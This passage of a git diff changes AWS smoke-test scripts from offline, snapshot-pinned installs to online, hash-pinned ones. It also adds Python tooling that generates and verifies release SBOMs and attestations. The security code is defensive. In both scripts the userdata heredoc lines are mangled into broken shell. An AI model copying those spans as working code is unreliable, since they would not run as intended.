str(LIBVIRT_PYTHON_REQUIREMENTS.relative_to(repo_root)), } @@ -330,7 +248,7 @@ def _parse_args(argv: list[str]) -> argparse.Namespace: "--no-cirros", dest="include_cirros", action="store_false", - help="stage only uv and the libvirt-python closure (guest-certified run builds its own appliance)", + help="stage only uv and Python (guest-certified run builds its own appliance)", ) return parser.parse_args(argv) diff --git a/tools/real-daemon/run_aws_guest_certify.sh b/tools/real-daemon/run_aws_guest_certify.sh index 3fec34f8d..9b5392410 100755 --- a/tools/real-daemon/run_aws_guest_certify.sh +++ b/tools/real-daemon/run_aws_guest_certify.sh @@ -5,20 +5,12 @@ # artifact, then tear everything down. This is the guest-observed counterpart to # run_aws_smoke.sh (which proves daemon-level reconciliation with a cirros disk). # -# Input governance (issue #1222, inventory row I13): the live-runner inputs are -# execution-bound to their reviewed authorities. The base image is Canonical's -# exact published image NAME (serial), resolved by owner + exact name; the native -# packages install from a pinned snapshot.ubuntu.com archive timestamp; the -# declared cpython-3.14 interpreter, the uv client and the offline libvirt-python -# build closure are selected/verified locally and pre-seeded. libvirt-python -# installs fully offline. The appliance is built from a static busybox initramfs -# and the host kernel (no CirrOS). The instance host key is pinned from the -# authenticated AWS console output (StrictHostKeyChecking=yes); only Git-tracked -# files are transferred. AWS provisioning/API behaviour stays an external service -# boundary; the host keeps its default security driver (no security_driver="none", -# no root QEMU user/group), the evidence run is invoked with a fixed argument -# vector (no `sudo bash -lc`, no python -c interpolation), and a run's evidence is -# pulled before teardown. +# Connected opt-in smoke: keep the exact Canonical image owner/name, verified +# uv/CPython bootstrap and guest-disk bytes, and authenticated SSH host keys. +# Native packages use the image's signed Ubuntu repositories; Python packages +# are installed online from exact hash-pinned requirements/build constraints. +# This is not an offline or byte-reproducible native environment. Default +# AppArmor/QEMU security, tracked-source transfer, and teardown remain required. # # Usage: # SSH_INGRESS_CIDR=203.0.113.4/32 AWS_PROFILE=proof AWS_REGION=us-east-2 \ @@ -108,8 +100,7 @@ UV_ARCHIVE="$STAGE/$(read_nested uv staged_path)" CPYTHON_ARCHIVE="$STAGE/$(read_nested cpython staged_path)" IMAGE_OWNER="$(read_nested base_image owner)" IMAGE_NAME="$(read_nested base_image name)" -NATIVE_SNAPSHOT="$(read_top native_repository_snapshot)" -[[ -f "$UV_ARCHIVE" && -f "$CPYTHON_ARCHIVE" && -d "$STAGE/wheelhouse" ]] || { echo "error: staged inputs are incomplete" >&2; exit 1; } +[[ -f "$UV_ARCHIVE" && -f "$CPYTHON_ARCHIVE" ]] || { echo "error: staged inputs are incomplete" >&2; exit 1; } echo "=== identity ==="; "${AWS[@]}" sts get-caller-identity --query Account --output text @@ -131,22 +122,12 @@ created_sg=$("${AWS[@]}" ec2 create-security-group --group-name "$NAME-sg" \ --description "raes guest-certify proof ($RUN_ID)" --vpc-id "$VPC" --query GroupId --output text) "${AWS[@]}" ec2 authorize-security-group-ingress --group-id "$created_sg" --protocol tcp --port 22 --cidr "$SSH_INGRESS_CIDR" >/dev/null -# userdata pins APT to an immutable snapshot.ubuntu.com timestamp and installs -# ONLY the reviewed native package set (incl. static busybox + cpio for the -# guest-observing appliance), then prepares a scoped, libvirt-accessible run -# root. No downloads of tools, no pipe-to-shell, no host-security downgrade. +# Use the pinned image's signed native repositories and keep its security +# defaults. The instance is already an explicitly online, opt-in test host. cat > "$WORK/userdata.sh" < /etc/apt/sources.list.d/ubuntu.sources <&2; exit 1; } cd ~/raes/implementations/python \"\$UV\" sync --frozen --python \"\$PY\" - \"\$UV\" pip install --python .venv/bin/python --offline --no-index --find-links ~/stage/wheelhouse --require-hashes --requirement ~/raes/tools/real-daemon/live-runner-python.txt + \"\$UV\" pip install --python .venv/bin/python --default-index https://pypi.org/simple --build-constraints ~/raes/tools/real-daemon/live-runner-python.txt --require-hashes --requirement ~/raes/tools/real-daemon/live-runner-python.txt echo venv-ready" echo "=== run guest-certified proof (scoped run dir, fixed-argv runner) ===" diff --git a/tools/real-daemon/run_aws_smoke.sh b/tools/real-daemon/run_aws_smoke.sh index 36b89e85a..c8904a511 100755 --- a/tools/real-daemon/run_aws_smoke.sh +++ b/tools/real-daemon/run_aws_smoke.sh @@ -5,21 +5,12 @@ # libvirt reconciliation/teardown backend actually works against real libvirtd # (the hermetic `nox verify` graph deliberately uses in-process fakes). # -# Input governance (issue #1222, inventory row I13): the live-runner inputs are -# execution-bound to their reviewed authorities. The base image is Canonical's -# exact published image NAME (serial), resolved to the region's AMI id by owner + -# exact name (never "newest"); the native packages install from a pinned -# snapshot.ubuntu.com archive timestamp (reproducible versions); the declared -# cpython-3.14 interpreter, the uv client, the CirrOS guest disk and the offline -# libvirt-python build closure are selected/verified locally -# (tools/real-daemon/live_runner_inputs.py), pre-seeded and re-verified on the -# host. There is no pipe-to-shell bootstrap, no ignored download, and -# libvirt-python installs fully offline from the pre-seeded wheelhouse. The -# instance host key is pinned from the authenticated AWS console output -# (StrictHostKeyChecking=yes). Only Git-tracked files are transferred. AWS -# provisioning/API behaviour stays an external service boundary; the host runs -# under its default security driver (no security_driver="none", no root QEMU -# user/group). +# Connected opt-in smoke: keep the exact Canonical image owner/name, verified +# uv/CPython bootstrap and guest-disk bytes, and authenticated SSH host keys. +# Native packages use the image's signed Ubuntu repositories; Python packages +# are installed online from exact hash-pinned requirements/build constraints. +# This is not an offline or byte-reproducible native environment. Default +# AppArmor/QEMU security, tracked-source transfer, and teardown remain required. # # Usage: # SSH_INGRESS_CIDR=203.0.113.4/32 AWS_PROFILE=aws-dev AWS_REGION=us-east-1 \ @@ -106,8 +97,7 @@ UV_ARCHIVE="$STAGE/$(read_nested uv staged_path)" CPYTHON_ARCHIVE="$STAGE/$(read_nested cpython staged_path)" IMAGE_OWNER="$(read_nested base_image owner)" IMAGE_NAME="$(read_nested base_image name)" -NATIVE_SNAPSHOT="$(read_top native_repository_snapshot)" -[[ -f "$STAGE/cirros.img" && -f "$UV_ARCHIVE" && -f "$CPYTHON_ARCHIVE" && -d "$STAGE/wheelhouse" ]] || { echo "error: staged inputs are incomplete" >&2; exit 1; } +[[ -f "$STAGE/cirros.img" && -f "$UV_ARCHIVE" && -f "$CPYTHON_ARCHIVE" ]] || { echo "error: staged inputs are incomplete" >&2; exit 1; } echo "=== identity ==="; "${AWS[@]}" sts get-caller-identity --query Account --output text @@ -129,23 +119,12 @@ created_sg=$("${AWS[@]}" ec2 create-security-group --group-name "$NAME-sg" \ --description "raes libvirt real-daemon smoke ($RUN_ID)" --vpc-id "$VPC" --query GroupId --output text) "${AWS[@]}" ec2 authorize-security-group-ingress --group-id "$created_sg" --protocol tcp --port 22 --cidr "$SSH_INGRESS_CIDR" >/dev/null -# userdata pins the APT archive to an immutable snapshot.ubuntu.com timestamp so -# the reviewed native package set installs at reproducible versions, then -# installs ONLY that reviewed set and prepares a scoped, libvirt-accessible run -# root. No downloads of tools, no pipe-to-shell, no host-security downgrade -# (default AppArmor/QEMU confinement stays enabled). +# Use the pinned image's signed native repositories and keep its security +# defaults. The instance is already an explicitly online, opt-in test host. cat > "$WORK/userdata.sh" < /etc/apt/sources.list.d/ubuntu.sources <&2; exit 1; } cd ~/raes/implementations/python \"\$UV\" sync --frozen --python \"\$PY\" - \"\$UV\" pip install --python .venv/bin/python --offline --no-index --find-links ~/stage/wheelhouse --require-hashes --requirement ~/raes/tools/real-daemon/live-runner-python.txt + \"\$UV\" pip install --python .venv/bin/python --default-index https://pypi.org/simple --build-constraints ~/raes/tools/real-daemon/live-runner-python.txt --require-hashes --requirement ~/raes/tools/real-daemon/live-runner-python.txt echo venv-ready" echo "=== place + re-verify the pre-seeded guest disk in the scoped run dir ===" diff --git a/tools/release_evidence.py b/tools/release_evidence.py new file mode 100644 index 000000000..089e1ce06 --- /dev/null +++ b/tools/release_evidence.py @@ -0,0 +1,493 @@ +#!/usr/bin/env python3 +# ruff: noqa: E402 +"""Generate and admit output-bound release evidence (issue #1226). + +`generate` runs in the read-only build job and writes the runtime SBOMs, the +build/tool/native input inventory and the evidence index into a directory kept +separate from the distribution directory: the corpus check rejects unexpected +files beside the distributions, and the publishers consume that directory. + +`verify` runs at each publisher handoff and refuses the release unless every +declared subject and sidecar is present, byte-exact, bound to this run, and +attested by an approved producer. It has no partial-success path. + +Release identity is read from explicitly named `GITHUB_*` environment fields +rather than assembled from free-form input, and no credential-bearing value is +read or recorded. +""" + +from __future__ import annotations + +import argparse +import json +import os +import subprocess +import sys +import tomllib +from collections.abc import Callable, Mapping, Sequence +from dataclasses import dataclass +from pathlib import Path +from typing import Any + +REPO_ROOT = Path(__file__).resolve().parents[1] +if str(REPO_ROOT) not in sys.path: + sys.path.insert(0, str(REPO_ROOT)) + +from tools.check_tooling_artifact_policy import tooling_policy_sha256 +from tools.generate_python_closures import reviewed_python_full_version +from tools.generate_python_closures_locks import target_environment +from tools.python_closure_profiles import load_python_closure_profile +from tools.python_closure_wheelhouse import operator_path +from tools.release_evidence_admission import ( + INDEX_FILENAME, + AdmissionError, + ProducerIdentity, + ReleaseIdentity, + build_evidence_index, + digest_file, + verify_admission, +) +from tools.release_evidence_documents import ( + BuildInputs, + EvidenceDocumentError, + render_build_inventory, + render_runtime_sbom, +) +from tools.release_evidence_publication import ( + admitted_publication_subjects, + render_publication_outputs, +) +from tools.release_evidence_sbom import ( + RuntimeClosureError, + observed_installation, + reconcile_runtime_closure, + wheel_metadata, +) +from tools.release_evidence_verifier import ( + VerifierError, + build_verify_command, + parse_verifier_output, +) +from tools.release_evidence_workflows import WorkflowInputError, workflow_actions + +INVENTORY_FILENAME = "build-inventory.json" +_VERIFIER_TIMEOUT_SECONDS = 120 + +_REQUIRED_ENVIRONMENT = ( + "GITHUB_REPOSITORY", + "GITHUB_SHA", + "GITHUB_WORKFLOW_REF", + "GITHUB_WORKFLOW_SHA", + "GITHUB_RUN_ID", + "GITHUB_RUN_ATTEMPT", +) + + +class ReleaseEvidenceError(Exception): + """A CLI-boundary failure carrying a stable, publishable code.""" + + def __init__(self, code: str, message: str) -> None: + super().__init__(message) + self.code = code + + +def release_identity(environment: Mapping[str, str]) -> dict[str, str]: + """Read the run's identity from explicitly named environment fields.""" + + missing = [name for name in _REQUIRED_ENVIRONMENT if not environment.get(name)] + if missing: + raise ReleaseEvidenceError( + "release-identity-incomplete", + f"release identity environment is incomplete: {missing}", + ) + return { + "repository": environment["GITHUB_REPOSITORY"], + "source_sha": environment["GITHUB_SHA"], + "workflow_ref": environment["GITHUB_WORKFLOW_REF"], + "workflow_sha": environment["GITHUB_WORKFLOW_SHA"], + "run_id": environment["GITHUB_RUN_ID"], + "run_attempt": environment["GITHUB_RUN_ATTEMPT"], + } + + +def _distribution_paths(distribution_dir: Path) -> tuple[Path, Path, Path]: + wheels = sorted(p for p in distribution_dir.glob("*.whl") if p.is_file()) + sdists = sorted(p for p in distribution_dir.glob("*.tar.gz") if p.is_file()) + derived = sorted(p for p in (distribution_dir / "from-sdist").glob("*.whl") if p.is_file()) + if len(wheels) != 1 or len(sdists) != 1 or len(derived) != 1: + raise ReleaseEvidenceError( + "distribution-set-unexpected", + "expected exactly one wheel, one sdist and one sdist-built wheel", + ) + return wheels[0], sdists[0], derived[0] + + +def _lock_hashes(repo_root: Path) -> dict[str, str]: + paths = { + "project_lock_sha256": "implementations/python/uv.lock", + "tool_lock_sha256": "implementations/tooling/python/uv.lock", + "build_constraints_sha256": "implementations/tooling/python/build-constraints.txt", + } + return {key: digest_file(repo_root / value)[1] for key, value in paths.items()} + + +@dataclass(frozen=True) +class GeneratePaths: + """The four admitted directories one generation reads and writes.""" + + repo_root: Path + distribution_dir: Path + evidence_dir: Path + environment_dir: Path + sdist_environment_dir: Path + + +def generate( + *, + paths: GeneratePaths, + profile_id: str, + release_tag: str, + environment: Mapping[str, str], +) -> dict[str, Any]: + """Write every evidence document for one built release.""" + + repo_root = paths.repo_root + distribution_dir = paths.distribution_dir + evidence_dir = paths.evidence_dir + environment_dir = paths.environment_dir + sdist_environment_dir = paths.sdist_environment_dir + + wheel, sdist, derived = _distribution_paths(distribution_dir) + identity = release_identity(environment) + profile = load_python_closure_profile(profile_id) + markers = target_environment( + profile.python_version, + profile.platform, + full_version=reviewed_python_full_version(profile.python_version, repo_root=repo_root), + ) + lock = tomllib.loads((repo_root / "implementations" / "python" / "uv.lock").read_text(encoding="utf-8")) + + evidence_dir.mkdir(parents=True, exist_ok=True) + subject_digests: dict[str, str] = {} + + # The sdist declares the same requirements it builds into; its runtime + # closure is read from the wheel built out of it, while the SBOM subject + # stays the original archive. The derived wheel is recorded as the metadata + # source so the relationship is explicit rather than implied. + for role, subject_path, metadata_path, target_venv in ( + ("wheel", wheel, wheel, environment_dir), + ("sdist", sdist, derived, sdist_environment_dir), + ): + metadata = wheel_metadata(metadata_path) + closure = reconcile_runtime_closure( + metadata, + lock=lock, + installed_versions=observed_installation(target_venv), + environment=markers, + extras=(), + ) + _size, subject_digest = digest_file(subject_path) + subject_digests[role] = subject_digest + document = render_runtime_sbom( + closure=closure, + subject_name=str(metadata.name), + subject_version=str(metadata.version), + subject_filename=subject_path.name, + subject_digest=subject_digest, + subject_role=role, + ) + if role == "sdist": + document["metadata"]["component"]["properties"].append( + { + "name": "raes:metadata-source-digest", + "value": digest_file(derived)[1], + } + ) + _write_json(evidence_dir / f"{role}.cdx.json", document) + + policy_hashes = {"tooling_policy_sha256": tooling_policy_sha256(repo_root)} + inventory = render_build_inventory( + subjects=[ + { + "role": "wheel", + "filename": wheel.name, + "sha256": subject_digests["wheel"], + }, + { + "role": "sdist", + "filename": sdist.name, + "sha256": subject_digests["sdist"], + }, + { + "role": "derived-test-wheel", + "filename": derived.name, + "sha256": digest_file(derived)[1], + }, + ], + inputs=BuildInputs( + interpreter={ + "implementation": "cpython", + "version": markers["python_full_version"], + "abi": profile.abi, + "platform": profile.platform, + }, + build_backend=_build_backend(repo_root), + tool_inputs=_tool_inputs(repo_root), + native_inputs=[], + actions=_workflow_actions(repo_root), + runner={ + "image": environment.get("ImageOS", "unknown"), + "architecture": profile.platform, + "observed": False, + }, + ), + lock_hashes=_lock_hashes(repo_root), + policy_hashes=policy_hashes, + release={**identity, "tag": release_tag}, + profile_id=profile_id, + ) + _write_json(evidence_dir / INVENTORY_FILENAME, inventory) + + index = build_evidence_index( + distribution_dir=distribution_dir, + evidence_dir=evidence_dir, + identity=ReleaseIdentity(**identity, tag=release_tag), + profile_id=profile_id, + policy_hashes=policy_hashes, + ) + _write_json(evidence_dir / INDEX_FILENAME, index) + return index + + +def _write_json(path: Path, document: Mapping[str, Any]) -> None: + path.write_text(json.dumps(document, indent=2, sort_keys=True) + "\n", encoding="utf-8") + + +def _build_backend(repo_root: Path) -> dict[str, str]: + project = tomllib.loads((repo_root / "implementations" / "python" / "pyproject.toml").read_text(encoding="utf-8")) + requires = project.get("build-system", {}).get("requires", []) + name, _, version = str(requires[0]).partition("==") if requires else ("", "", "") + return {"name": name, "version": version} + + +def _tool_inputs(repo_root: Path) -> list[dict[str, str]]: + tool_project = tomllib.loads( + (repo_root / "implementations" / "tooling" / "python" / "pyproject.toml").read_text(encoding="utf-8") + ) + inputs = [] + for value in tool_project.get("project", {}).get("dependencies", []): + name, _, version = str(value).partition("==") + inputs.append({"name": name, "version": version}) + return inputs + + +def _workflow_actions(repo_root: Path) -> list[dict[str, str]]: + """Record pinned actions from the release workflow and its reusable calls.""" + try: + return workflow_actions(repo_root) + except WorkflowInputError as exc: + raise ReleaseEvidenceError("workflow-input-invalid", str(exc)) from exc + + +def _run_verifier(command: Sequence[str]) -> str: + try: + # Fixed argv, no shell, closed stdin. + completed = subprocess.run( # noqa: S603 + list(command), + capture_output=True, + text=True, + timeout=_VERIFIER_TIMEOUT_SECONDS, + check=False, + stdin=subprocess.DEVNULL, + ) + except (OSError, subprocess.SubprocessError) as exc: + raise VerifierError("verifier-unavailable", "attestation verifier could not be executed") from exc + if completed.returncode != 0: + raise VerifierError("verifier-rejected", "attestation verifier did not return a clean verdict") + return completed.stdout + + +def collect_attestations( + *, + distribution_dir: Path, + evidence_dir: Path, + index: Mapping[str, Any], + repository: str, + signer_workflow: str, + runner: Callable[[Sequence[str]], str] = _run_verifier, +) -> dict[str, ProducerIdentity]: + """Verify every admitted artifact through the maintained verifier.""" + + attestations: dict[str, ProducerIdentity] = {} + for record in index["subjects"]: + path = distribution_dir / record["path"] + attestations[record["sha256"]] = parse_verifier_output( + runner( + build_verify_command( + artifact_path=str(path), + repository=repository, + signer_workflow=signer_workflow, + ) + ) + ) + evidence_files = [record["filename"] for record in index["evidence"]] + # The index describes the other sidecars but never itself, so verify it + # explicitly. Admitting an index whose own attestation was never checked + # would let candidate-written evidence govern publication. + evidence_files.append(INDEX_FILENAME) + for filename in evidence_files: + path = evidence_dir / filename + attestations[digest_file(path)[1]] = parse_verifier_output( + runner( + build_verify_command( + artifact_path=str(path), + repository=repository, + signer_workflow=signer_workflow, + ) + ) + ) + return attestations + + +def approved_producers(repo_root: Path) -> tuple[ProducerIdentity, ...]: + """Load the reviewed producer identities a release may be attested by. + + These come from `implementations/tooling/admission-policy.json`, which is + reviewed by Release and Security and covered by the tooling policy hash. + Deriving them from the bundle being verified would let any valid signature + approve itself, so the policy is the only source. + """ + + policy = json.loads( + (repo_root / "implementations" / "tooling" / "admission-policy.json").read_text(encoding="utf-8") + ) + producers = tuple( + ProducerIdentity( + issuer=str(item["issuer"]), + repository=str(item["repository"]), + workflow_ref=str(item["workflow_ref"]), + ) + for item in policy.get("release_producers", []) + if isinstance(item, Mapping) + ) + if not producers: + raise ReleaseEvidenceError( + "approved-producers-absent", + "admission policy declares no approved release producer", + ) + return producers + + +def _load_index(evidence_dir: Path) -> dict[str, Any]: + path = evidence_dir / INDEX_FILENAME + if not path.is_file() or path.is_symlink(): + raise ReleaseEvidenceError("evidence-index-absent", "release evidence index is absent") + return json.loads(path.read_text(encoding="utf-8")) + + +def _parse_args(argv: Sequence[str] | None) -> argparse.Namespace: + parser = argparse.ArgumentParser(description=__doc__) + sub = parser.add_subparsers(dest="command", required=True) + + generate_parser = sub.add_parser("generate") + generate_parser.add_argument("--distribution-dir", required=True, type=Path) + generate_parser.add_argument("--evidence-dir", required=True, type=Path) + generate_parser.add_argument("--environment", required=True, type=Path) + generate_parser.add_argument("--sdist-environment", required=True, type=Path) + generate_parser.add_argument("--profile", required=True) + generate_parser.add_argument("--release-tag", required=True) + generate_parser.add_argument("--repo-root", default=REPO_ROOT, type=Path) + + verify_parser = sub.add_parser("verify") + verify_parser.add_argument("--distribution-dir", required=True, type=Path) + verify_parser.add_argument("--evidence-dir", required=True, type=Path) + verify_parser.add_argument("--signer-workflow", required=True) + # The tag is expected identity, so it comes from the trusted workflow + # context rather than from the index being verified. + verify_parser.add_argument("--release-tag", required=True) + verify_parser.add_argument("--repo-root", default=REPO_ROOT, type=Path) + # The admission job is the trust bridge to the credentialed publishers: it + # writes the validated wheel/sdist identity here, and they publish nothing + # that does not match it. + verify_parser.add_argument("--emit-subjects", type=Path) + return parser.parse_args(list(argv) if argv is not None else None) + + +def main(argv: Sequence[str] | None = None) -> int: + args = _parse_args(argv) + try: + # Canonicalize and admit operator input before it reaches a filesystem + # sink, so no `..` component survives into a read or write. + for name, purpose in ( + ("repo_root", "repository root"), + ("distribution_dir", "distribution directory"), + ("evidence_dir", "evidence directory"), + ("environment", "smoke environment"), + ("sdist_environment", "sdist smoke environment"), + ("emit_subjects", "publication handoff sink"), + ): + value = getattr(args, name, None) + if value is not None: + setattr(args, name, operator_path(Path(value), purpose=purpose)) + if args.command == "generate": + generate( + paths=GeneratePaths( + repo_root=args.repo_root, + distribution_dir=args.distribution_dir, + evidence_dir=args.evidence_dir, + environment_dir=args.environment, + sdist_environment_dir=args.sdist_environment, + ), + profile_id=args.profile, + release_tag=args.release_tag, + environment=os.environ, + ) + print("release evidence generated") + return 0 + + index = _load_index(args.evidence_dir) + identity = release_identity(os.environ) + policy_hashes = {"tooling_policy_sha256": tooling_policy_sha256(args.repo_root)} + approved = approved_producers(args.repo_root) + attestations = collect_attestations( + distribution_dir=args.distribution_dir, + evidence_dir=args.evidence_dir, + index=index, + repository=identity["repository"], + signer_workflow=args.signer_workflow, + ) + verify_admission( + distribution_dir=args.distribution_dir, + evidence_dir=args.evidence_dir, + index=index, + attestations=attestations, + approved_producers=approved, + expected=ReleaseIdentity(**identity, tag=args.release_tag), + policy_hashes=policy_hashes, + ) + # Unconditional: the admitted subject names must correspond to the + # release being published on every admission, not only when a caller + # asks for the handoff to be written out. + subjects = admitted_publication_subjects(index, expected_tag=args.release_tag) + if args.emit_subjects is not None: + # Written only here, after admission accepted the release, so a + # refused release leaves no scalars a publisher could act on. + args.emit_subjects.write_text( + render_publication_outputs(subjects) + "\n", + encoding="utf-8", + ) + print("release evidence admitted") + return 0 + except ( + AdmissionError, + EvidenceDocumentError, + ReleaseEvidenceError, + RuntimeClosureError, + VerifierError, + ) as exc: + print(f"release evidence refused [{exc.code}]: {exc}", file=sys.stderr) + return 1 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tools/release_evidence_admission.py b/tools/release_evidence_admission.py new file mode 100644 index 000000000..488e78955 --- /dev/null +++ b/tools/release_evidence_admission.py @@ -0,0 +1,440 @@ +#!/usr/bin/env python3 +"""Admit one release's exact output subjects and their authenticated evidence. + +ADR-107 binds the complete release identity to the exact bytes a publisher will +consume. This module builds that binding and, at each publisher handoff, refuses +it before any usable output is produced. Absent or rejected evidence is a +failure, never an optional report. + +Every document read here is untrusted parser input even after transfer, so +reads are size-bounded and structurally checked. Signature, certificate and +issuer verification belong to the maintained verifier (`gh attestation +verify`); this module consumes the producer identity that verifier established +and decides release association against reviewed policy. +""" + +from __future__ import annotations + +import hashlib +import json +from collections.abc import Iterable, Mapping, Sequence +from dataclasses import dataclass +from pathlib import Path +from typing import Any, TypeAlias + +# Parsed JSON is an untyped document tree; naming it is clearer than `Any`. +JsonValue: TypeAlias = "str | int | float | bool | None | list[JsonValue] | dict[str, JsonValue]" + +SCHEMA_VERSION = "raes-release-evidence/v1" +BUILD_INVENTORY_SCHEMA_VERSION = "raes-build-inventory/v1" + +# The evidence index travels with the evidence it describes, so candidate build +# code could rewrite both before they are uploaded. The required evidence set is +# therefore fixed here rather than read out of the index: an index naming fewer +# sidecars must not discharge the obligation to carry them. +INDEX_FILENAME = "release-evidence-index.json" +REQUIRED_EVIDENCE = ("build-inventory.json", "sdist.cdx.json", "wheel.cdx.json") + +# Evidence documents are small structured records. The bound keeps a malformed +# or hostile sidecar from being parsed unbounded at a publication boundary. +MAX_EVIDENCE_BYTES = 4 * 1024 * 1024 +_READ_CHUNK = 1024 * 1024 + +# Shared with the publication boundary, which derives the expected release +# filenames from these same suffixes. +WHEEL_SUFFIX = ".whl" +SDIST_SUFFIX = ".tar.gz" +_DERIVED_DIRECTORY = "from-sdist" + + +class AdmissionError(Exception): + """An admission failure carrying a stable, publishable failure code.""" + + def __init__(self, code: str, message: str) -> None: + super().__init__(message) + self.code = code + + +@dataclass(frozen=True) +class ReleaseIdentity: + """The run that produced a release, as one value. + + These six fields are always produced, recorded and checked together, so + passing them as a group keeps a caller from supplying five of six or + transposing two strings of the same shape. + """ + + repository: str + source_sha: str + workflow_ref: str + # The producer workflow's own revision. ADR-107 keeps this distinct from the + # candidate source revision; they are different identities. + workflow_sha: str + run_id: str + run_attempt: str + tag: str + + +@dataclass(frozen=True) +class ProducerIdentity: + """The producer a maintained verifier established for an attestation.""" + + issuer: str + repository: str + workflow_ref: str + + +def digest_file(path: Path) -> tuple[int, str]: + """Return the exact size and SHA-256 of one regular file.""" + + if not path.is_file() or path.is_symlink(): + raise AdmissionError("admission-subject-missing", f"{path.name} is not a regular file") + digest = hashlib.sha256() + size = 0 + with path.open("rb") as handle: + while chunk := handle.read(_READ_CHUNK): + size += len(chunk) + digest.update(chunk) + return size, digest.hexdigest() + + +def _single(paths: Sequence[Path], role: str) -> Path: + if len(paths) != 1: + raise AdmissionError( + "admission-subject-cardinality", + f"expected exactly one {role}, found {len(paths)}", + ) + return paths[0] + + +def _distribution_files(distribution_dir: Path) -> tuple[Path, Path, Path]: + wheels = sorted(p for p in distribution_dir.glob("*.whl") if p.is_file()) + sdists = sorted(p for p in distribution_dir.glob(f"*{SDIST_SUFFIX}") if p.is_file()) + derived = sorted(p for p in (distribution_dir / _DERIVED_DIRECTORY).glob("*.whl") if p.is_file()) + return ( + _single(wheels, "release wheel"), + _single(sdists, "source distribution"), + _single(derived, "sdist-built wheel"), + ) + + +def build_evidence_index( + *, + distribution_dir: Path, + evidence_dir: Path, + identity: ReleaseIdentity, + profile_id: str, + policy_hashes: Mapping[str, str], +) -> dict[str, Any]: + """Bind every output subject and evidence document to one release identity.""" + + wheel, sdist, derived = _distribution_files(distribution_dir) + + def _record(role: str, path: Path, derived_from: str | None = None) -> dict[str, Any]: + size, sha256 = digest_file(path) + record: dict[str, Any] = { + "role": role, + "path": path.relative_to(distribution_dir).as_posix(), + "filename": path.name, + "size": size, + "sha256": sha256, + } + if derived_from is not None: + record["derived_from"] = derived_from + return record + + # `subjects` is the published set the publishers actually consume. The + # sdist-built wheel is a build-time test subject that is never uploaded, so + # it keeps its own digest-bound identity in `test_subjects` rather than + # joining a set the publisher is then expected to produce. + subjects = [_record("wheel", wheel), _record("sdist", sdist)] + test_subjects = [_record("derived-test-wheel", derived, sdist.name)] + + evidence = [] + for path in sorted(evidence_dir.iterdir()): + if not path.is_file() or path.is_symlink(): + continue + size, sha256 = digest_file(path) + evidence.append({"filename": path.name, "size": size, "sha256": sha256}) + + return { + "schema_version": SCHEMA_VERSION, + "release": { + "repository": identity.repository, + "source_sha": identity.source_sha, + "workflow_ref": identity.workflow_ref, + "workflow_sha": identity.workflow_sha, + "run_id": identity.run_id, + "run_attempt": identity.run_attempt, + "tag": identity.tag, + }, + "profile": {"python_closure_profile_id": profile_id}, + "policy": dict(policy_hashes), + "subjects": subjects, + "test_subjects": test_subjects, + "evidence": evidence, + } + + +def _load_bounded_json(path: Path, declared_sha256: str) -> JsonValue: + size, sha256 = digest_file(path) + if sha256 != declared_sha256: + raise AdmissionError( + "admission-evidence-digest-mismatch", + f"{path.name} does not match its recorded digest", + ) + if size > MAX_EVIDENCE_BYTES: + raise AdmissionError( + "admission-evidence-oversized", + f"{path.name} exceeds the evidence size bound", + ) + try: + return json.loads(path.read_text(encoding="utf-8"), object_pairs_hook=_reject_duplicate_keys) + except (OSError, ValueError) as exc: + raise AdmissionError("admission-evidence-unparsable", f"{path.name} could not be parsed") from exc + + +def _reject_duplicate_keys(pairs: Sequence[tuple[str, JsonValue]]) -> dict[str, JsonValue]: + seen: dict[str, JsonValue] = {} + for key, value in pairs: + if key in seen: + raise ValueError(f"duplicate key {key!r}") + seen[key] = value + return seen + + +def _sbom_subject_digest(document: JsonValue) -> str | None: + """Return the SHA-256 the document binds itself to, if it binds one.""" + + metadata = document.get("metadata") if isinstance(document, Mapping) else None + component = metadata.get("component") if isinstance(metadata, Mapping) else None + hashes = component.get("hashes") if isinstance(component, Mapping) else None + return next( + ( + entry["content"] + for entry in (hashes or ()) + if isinstance(entry, Mapping) and entry.get("alg") == "SHA-256" and isinstance(entry.get("content"), str) + ), + None, + ) + + +def _verify_subjects(distribution_dir: Path, index: Mapping[str, Any]) -> dict[str, str]: + """Match the distribution directory exactly against the admitted subject set. + + Subjects are keyed by relative path: the sdist-built wheel shares a basename + with the directly built release wheel, so a basename key would let one stand + in for the other. + """ + + declared = {item["path"]: item for item in index["subjects"]} + present: dict[str, Path] = {} + unexpected: list[str] = [] + for entry in sorted(distribution_dir.iterdir()): + relative = entry.name + if entry.is_file() and not entry.is_symlink(): + present[relative] = entry + else: + # A publisher consumes the downloaded distribution set only. A + # nested directory here (a build-time `from-sdist/` tree, say) is + # not part of that set and must not be published alongside it. + unexpected.append(relative) + unexpected.extend(sorted(set(present) - set(declared))) + if unexpected: + raise AdmissionError( + "admission-unexpected-distribution", + f"distribution directory carries undeclared entries: {sorted(unexpected)}", + ) + digests: dict[str, str] = {} + for relative, record in declared.items(): + path = present.get(relative) + if path is None: + raise AdmissionError("admission-subject-missing", f"declared subject {relative} is absent") + size, sha256 = digest_file(path) + if size != record["size"] or sha256 != record["sha256"]: + raise AdmissionError( + "admission-subject-digest-mismatch", + f"{relative} does not match its admitted bytes", + ) + digests[relative] = sha256 + return digests + + +def _require_declared_set(evidence_dir: Path, declared: Mapping[str, Any]) -> None: + """The directory must hold exactly the declared documents, plus the index. + + The required set is fixed here rather than read from the index, so an index + naming fewer sidecars cannot discharge the obligation to carry them. An + undeclared sidecar is refused before handoff: the signer and the GitHub + publisher both consume `evidence/*.json`, so an extra file would otherwise be + attested and retained without ever being semantically admitted. + """ + + missing_required = sorted(set(REQUIRED_EVIDENCE) - set(declared)) + if missing_required: + raise AdmissionError( + "admission-required-evidence-missing", + f"evidence index does not declare required documents: {missing_required}", + ) + present = {path.name for path in sorted(evidence_dir.iterdir()) if path.is_file() and not path.is_symlink()} + unexpected = sorted(present - set(declared) - {INDEX_FILENAME}) + if unexpected: + raise AdmissionError( + "admission-unexpected-evidence", + f"evidence directory carries undeclared documents: {unexpected}", + ) + + +def _load_declared(evidence_dir: Path, declared: Mapping[str, Any]) -> dict[str, Any]: + """Read every declared document at the digest the index recorded for it.""" + + documents: dict[str, Any] = {} + for filename, record in declared.items(): + path = evidence_dir / filename + if not path.is_file() or path.is_symlink(): + raise AdmissionError( + "admission-evidence-missing", + f"declared evidence {filename} is absent", + ) + documents[filename] = _load_bounded_json(path, record["sha256"]) + return documents + + +def _check_document_subjects(filename: str, document: JsonValue, admitted: set[str]) -> None: + """Every document must describe bytes that were actually admitted.""" + + if 